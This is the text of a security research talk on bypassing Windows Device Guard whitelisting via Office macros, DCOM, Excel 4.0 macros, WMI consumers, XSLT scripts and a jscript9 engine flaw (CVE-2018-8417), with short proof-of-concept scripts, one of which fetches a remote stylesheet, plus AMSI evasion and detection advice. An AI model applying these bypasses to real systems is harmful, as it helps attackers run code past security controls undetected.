SNEAKING
PAST
DEVICE GUARD
WHOAMI

» Philip Tsukerman – Security Researcher @ Cybereason
» @PhilipTsukerman
» No idea to whom the legs in the background belong
OUTLINE

» Intro to Device Guard
» VBA based techniques
» Non-VBA based techniques
» Other benefits of techniques
» Conclusion
INTRO TO DEVICE GUARD
DEVICE GUARD – WHAT AND WHY?

» Application whitelisting feature in Win10
» Only code defined in a policy (by cert-hash/etc.) should be able to run
» Inhibits an attacker’s ability to run code on a compromised machine
» Very interesting and permissive threat model:
  » Attacker can already execute commands on a machine
WHAT DOES ARBITRARY CODE REALLY MEAN?

» The ability to interact with the OS freely (under privilege constraints)

» Most direct way to achieve this is having full control of process memory
WHAT DOES ARBITRARY CODE REALLY MEAN?

Allocate and jump to code

Execute arbitrary Win32API/Syscalls
WHAT DOES ARBITRARY CODE REALLY MEAN?

» Without AWL:
  » Arbitrary commands == arbitrary code

» Just run your own process/library and you’re set
WHAT DOES ARBITRARY CODE REALLY MEAN?

» With AWL:
  » You have to rely only on allowed executables/scripts

  » Implementing basic offensive functionality (cred stealing, c&c etc.) becomes immensely hard
LOSING ARBITRARY EXECUTION IS EASY!

- Privilege Escalation
- Fully Controlled Process
- Persistence
- Lateral Movement
- Sandbox Escape
DEVICE GUARD – IN PRACTICE

» PE Files
  » Only whitelisted files may be executed

» Powershell
  » Constrained Language Mode (CLM) allows only very restricted types in non-whitelisted scripts

» ActiveScript Engines
  » COM object filtering on non-whitelisted scripts
Your organization used Windows Defender Application Control to block this app

C:\Users\user\Desktop\unsigned.exe

Contact your support person for more info.
ADMIN BYPASSES ARE STILL DANGEROUS

» Admin users can disable Device Guard
» Requires a restart
» Throws a nasty event log
» Forces attackers into very conspicuous and detectable behavior
ADMIN BYPASSES ARE STILL DANGEROUS

» New admin bypasses may be unnoticed by defenders
» Most common scenario for Lateral Movement
» More unfixed admin bypasses = less reliability to the feature
A WORD ON VBA

» You can’t expect MS to lock every piece of code in existence
» But Office is MS made, and ubiquitous
» VBA is uninstrumented by Device Guard
» Macros easily allow you to gain full process control:
  » Import WINAPI functions and run shellcode
  » DotNetToJScript
THE NAÏVE APPROACH
THE NAÏVE APPROACH

» Requires user interaction, and RDPing to a victim is a bit too much
» Is also really lame
» Could we run macros without user/GUI interactions?
THE LATERAL MOVEMENT/DCOM APPROACH

» Macro functionality is exposed via DCOM
» No files, no protected mode!
» Easily available only remotely
» Requires Admin in most configs
THE LATERAL MOVEMENT/DCOM APPROACH

U:\> $macro = 'Sub Execute()
           CreateObject("Wscript.Shell").Exec("calc.exe")
    End Sub

Sub AutoOpen()
    Execute
End Sub'

$key = "Software\Microsoft\Office\16.0\Excel\Security"
$hku = 2147483649

$excel = [activator].GetTypeFromProgID("Excel.Application","192.168.20.129")
$sub = $excel.Workbooks.Add("")
$sub.VBProject.VBComponents(1).CodeModule.AddFromString($macro)
$excel.Run("Book1!ThisWorkbook.Execute")
BUT WE WANT TO DO IT LOCALLY! AND UNPRIVILEGED!
WHEN DOES OFFICE FORSAKE PROTECTED MODE?

» Documents for which macros were enabled once are considered trusted
» So are documents running from trusted locations
TRUSTED LOCATIONS

» Trusted locations are managed in the registry
» All the default ones are only writable by admins
TRUSTED LOCATIONS
# Trusted Locations

![Registry Editor screenshot](image)

<table>
<thead>
<tr>
<th>Name</th>
<th>Type</th>
<th>Data</th>
</tr>
</thead>
<tbody>
<tr>
<td>(Default)</td>
<td>REG_SZ</td>
<td>(value not set)</td>
</tr>
<tr>
<td>Description</td>
<td>REG_SZ</td>
<td>Access default location: Wizard Databases</td>
</tr>
<tr>
<td>Path</td>
<td>REG_SZ</td>
<td>C:\Program Files\Microsoft Office\Root\Office16\ACCWIZ\</td>
</tr>
</tbody>
</table>
PS IN CLM TO ARBITRARY CODE EXAMPLE
UGH. FINE. LET’S BLOCK VBE7.DLL
NON-VBA BASED BYPASSES
Excel actually has another, legacy macro feature, introduced in ‘92.

- Implemented in excel.exe itself.
- CALL and REGISTER functions allow execution of arbitrary dll functions.
- May leave a subtle taste of vomit in your mouth after use.
EXCEL4.0 MACROS

» Can be used to run x86 shellcode via a method discovered by Stan Hegt and Pieter Ceelen of Outflank
EXCEL4.0 MACROS
RUNNING SHELLCODE VIA DCOM

Fileless version by Stan Hegt available here - https://github.com/outflanknl/Excel4-DCOM
EXCEL4.0 MACROS

» The current technique can’t support x64 shellcode due to datatype and calling convention constraints

» The fileless lateral movement version is a bit slow, as it writes the payload byte by byte

» A fast, 64-bit supporting version and an accompanying blogpost are available here –
  https://www.cybereason.com/blog/excel4.0-macros-now-with-
twice-the-bits
RUNNING SHELLCODE VIA DCOM – X64 SUPPORT
RUNNING SHELLCODE VIA TRUSTED FOLDER

» The trusted directory trick works exactly the same, without VBA
BENEFITS OF EXCEL4 MACROS

» Less likely to be killed if DG is introduced to office
» No external library to block
» Excel is installed = Device Guard Forever(?) - Day
ACTIVESCRIPT BYPASSES
ACTIVESCRIPT BYPASSES

» ActiveScript is a generic Windows scripting technology
» What’s behind vbscript/jscript
» The target of many recent bypasses (Squibly[A-Za-z]*)
THE MAIN COMPONENTS OF ACTIVESCRIPT

https://docs.microsoft.com
COMMON HOSTS AND ENGINES

» Hosts:
  » W/Cscript.exe
  » Scrobj.dll
  » Msxml3/6.dll
  » Mshtml.dll

» Engines:
  » Jscript.dll
  » VBScript.dll
  » Jscript9.dll
new ActiveXObject ("Wscript.Shell");

Host->IsClassAllowed (clsid, &is_allowed)

WldpIsClassInApprovedList (classID, hostInformation, isApproved, optionalFlags)

CoCreateInstance (clsid, *otherparams)

Engine
ACTIVESCRIPTCONSUMER

» You might know this WMI class from the most common WMI persistence method
» Implemented as scrcons.exe
» An independent ActiveScript host by itself
» Not instrumented by Device Guard
» Only available as admin :(
$query="SELECT * FROM __InstanceCreationEvent WITHIN 5 WHERE TargetInstance ISA 'Win32_Process' AND TargetInstance.Name='notepad.exe'"

$filter-Set-WmiInstance .Class __EventFilter .Namespace "root\subscription" 
-Arguments @{Name="test";EventNameSpace="root\cimv2";QueryLanguage="WQL";Query=$query}

$consumer-Set-WmiInstance .Class ActiveScriptEventConsumer .Namespace "root\subscription"
-Arguments @{Name="test"; ScriptText="var r = new ActiveXObject("WScript.Shell").Run("cmd.exe")"; ScriptingEngine="JScript"}

Set-WmiInstance .Class __FilterToConsumerBinding .Namespace "root\subscription" .Arguments @{Filter=$filter;Consumer=$consumer}
XSLT TRANSFORMS

```xml
<?xml version='1.0'?>
<xs:stylesheet version="1.0"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:msxsl="urn:schemas-microsoft-com:xslt"
xmlns:user="http://mycompany.com/mynamespace">
  <msxsl:script language="JScript" implements-prefix="user">
    function xml(nodeList) {
      var r = new ActiveXObject("MScript.Shell").Run("notepad.exe");
      return nodeList.nextSibling().xml;
    }
  </msxsl:script>
  <xs:template match="/">
    <xsl:value-of select="user:xml(.)"/>
  </xs:template>
</xs:stylesheet>
```
XSLT TRANSFORMS

» XML Transform stylesheets
» Support embedded scripting
» Implement their own uninstrumented scripting host in msxml.dll
» Applying an arbitrary xsl transform can result in running arbitrary code
MSACCESS XSLT TRANSFORMS

Application.TransformXML method (Access)

06/08/2017 • 2 minutes to read • Contributors

Applies an Extensible Stylesheet Language (XSL) stylesheet to an XML data file and writes the resulting XML to an XML data file.

Syntax

expression. TransformXML ( _DataSource_ , _TransformSource_ , _OutputTarget_ , _WellFormedXMLOutput_ , _ScriptOption_ )

expression A variable that represents an Application object.
MSACCESS XSLT TRANSFORMS

```php
$access = [activator]::CreateInstance([type]::GetTypeInfoFromProgID("Access.Application"))
$access.NewCurrentDatabase("C:\Temp\whatever")
$xsl = "https://gist.githubusercontent.com/bohops/ee9e2d7b606c264a0c659b0146599/raw/f8245f99992eff00eb5f0d5738dfb0937daf5e4/xsl-notepad.xsl"
$access.TransformXML($xsl, $xsl, "c:\this\path\does\not\exist.xml", $true, 0)
```

Implementation available here - https://gist.github.com/Philts/1c6a41048501d5067fd0ab4b933a38c8
OUTLOOK OBJECT CREATION + XSLT

Modification of a method published here:
new ActiveXObject ("Wscript.Shell");

Engine

Script

CLSIDFromProgID ("Wscript.Shell", &clsid)

Engine

Host->IsClassAllowed (clsid, &is_allowed)

Host

WldpIsClassInApprovedList (classID, hostInformation, isApproved, optionalFlags)

Wldp.dll

CoCreateInstance (clsid, *otherparams)

Engine
DIFFERENT IMPLEMENTATIONS IN ACTIVESCRIPT

```
Calls
Raw args | Func info | Source | Addr | Headings | Nonvolatile regs | Frame nums | Source args | More | Less
---|---|---|---|---|---|---|---|---|---
msxml!CScriptCollection::IsClassAllowed
msxml!IsSafeTo+0x128d2a
msxml!CDocument::HostQueryCustomPolicy+0x23f
javascript!ScriptEngine::CanObjectRun+0xd7
javascript!ScriptSite::CreateObjectFromProgID+0x20a
javascript!ScriptSite::CreateActiveXObject+0x84

Calls
Raw args | Func info | Source | Addr | Headings | Nonvolatile regs | Frame nums | Source args | More | Less
---|---|---|---|---|---|---|---|---|---
cscript!CScriptingEngine::IsClassAllowed
javascript!GetObjectFromProgID+0xbe
javascript!JsCreateObject2+0x17b
javascript!ActiveXObject!FncObj::Construct+0x53
javascript!NameTbl::InvokeInternal+0x208
javascript!VAR::InvokeByDispID+0x8d
```
WHAT DOES THIS MEAN FOR US?

» Mshtml.dll is responsible for calling IsClassAllowed for the engine

» Cscript.exe exposes IsClassAllowed to the engine, which calls it directly
CVE-2018-8417

» Jscript9.dll was not meant to be used by w\cscript, and thus assumes the host will call IsClassAllowed for it
» Can be run under cscript if asked very nicely
» The engine relies on the host to check the whitelist, while the host relies on the engine
» IsClassAllowed is never called
» Object is created with no checks
A TWEETABLE POC

```cmd
C:\Users\user>cscript C:\Users\user\Desktop\test.js
Microsoft (R) Windows Script Host Version 5.8.12
Copyright (C) Microsoft Corporation. All rights reserved.

C:\Users\user\Desktop\test.js(0, 1) Microsoft JScript runtime error: Automation server can't create object

C:\Users\user>cscript /e:{16d51579-a30b-4c8b-a276-0ff4dc41e755} C:\Users\user\Desktop\test.js
Microsoft (R) Windows Script Host Version 5.8.12
Copyright (C) Microsoft Corporation. All rights reserved.
```

`cybereason`
OK, BUT WHAT ABOUT SCRIPTLETS?!

» Scrobj.dll (the scriptlet host) works exactly the same
» Scriptlets need a ProgID, not a CLSID
» Just register your own and you’re set
OK, BUT WHAT ABOUT SCRIPTLETS?!
OK, BUT WHAT ABOUT SCRIPTLETS?!
UPDATED MACHINE? – BYOV!

```powershell
PS C:\sys2> Get-AuthenticodeSignature C:\Windows\System32\jscript9.dll

    Directory: C:\Windows\System32

    SignerCertificate          Status                  Path
    ------------------------  -----------  -----  ----
    84EC67B9AC9D7789BA850503A78521738F432ADB  Valid  jscket9.dll

PS C:\sys2> Get-AuthenticodeSignature .\jscript9vuln.dll

    Directory: C:\sys2

    SignerCertificate          Status                  Path
    ------------------------  -----------  -----  ----
    419E77AED546A1A6CF4DC23C1F977542FE289CF7  Valid  jscket9vuln.dll
```
Jimmy Bayne (@bohops) discovered that you could still abuse two of our recent bypasses, despite them being patched.

- Borrowing a trick from driver signature enforcement bypasses
- Bad catalog hygiene means that the signature of the vulnerable library is still valid
Microsoft recommends that you block the following Microsoft-signed applications and PowerShell files by merging the following policy into your existing policy to add these deny rules using the `Merge-CIPolicy` cmdlet. Beginning with the March 2019 quality update, each version of Windows requires blocking a specific version of the following files:

- msxml3.dll
- msxml6.dll
- jscript9.dll
NOT JUST THE BYPASSES, BUT THE OVERFLOWS AND UAFS TOO!
THE SCOPE OF THE PROBLEM

» Stale catalogs are not the exception, but rather the norm

» Your machine is vulnerable to anything that is:
  » A DG bypass / Code execution vulnerability
  » Vulnerable code is reachable via command line / COM hijacking / dll hijacking
  » Vulnerability was patched after the current major Windows update (RS#) was released

» Almost all vulnerable versions of files can be found in the WinSxS folder

» Fixing this requires either better catalog hygiene on update, or adding every single such vulnerability to the block list as it is released.
THIS IS BORING. NOBODY USES DG ANYWAY!
ALTERNATIVE EXECUTION METHODS ARE ALWAYS FUN

» Some of the bypasses shown can be used as stealthy execution techniques regardless of Device Guard
AMSI BYPASSES

» Jscript9.dll isn’t instrumented with AMSI
» Even on an updated machine you are provided with a free AMSI bypass!
AMSI BYPASSES

» Chakra.dll – Yes, there’s another ActiveScript JS implementation!
» No AMSI, but no ActiveX functionality
» Wscript.CreateObject to the rescue!
STICKING TECHNIQUES TOGETHER

» Use Jscript9/Chakra.dll to create the Excel object
» Run shellcode through Excel
» No files, No AMSI, and no injections!
CONCLUSION
YOU ALREADY HAVE THE TOOLS FOR DETECTION

» Each of the bypasses described can be easily detected, if you know what to look for

» Command lines, registry and maybe a tiny bit of WMI is all you need
HOW I THINK THE FEATURE SHOULD DEVELOP

» Lock down Office, as it is pretty ubiquitous
» Implement a generic solution for the catalog hygiene issue
» A single consistent implementation for ActiveScript
» Some kind of way to extend the whitelisting model to other applications would be nice
PEOPLE TO FOLLOW

» James Forshaw - @tiraniddo
» Matt Graeber - @mattifestation
» Casey Smith - @subtee
» Matt Nelson - @enigma0x3
» Jimmy Bayne - @bohops
QUESTIONS?

You can also reach me via @PhilipTsukerman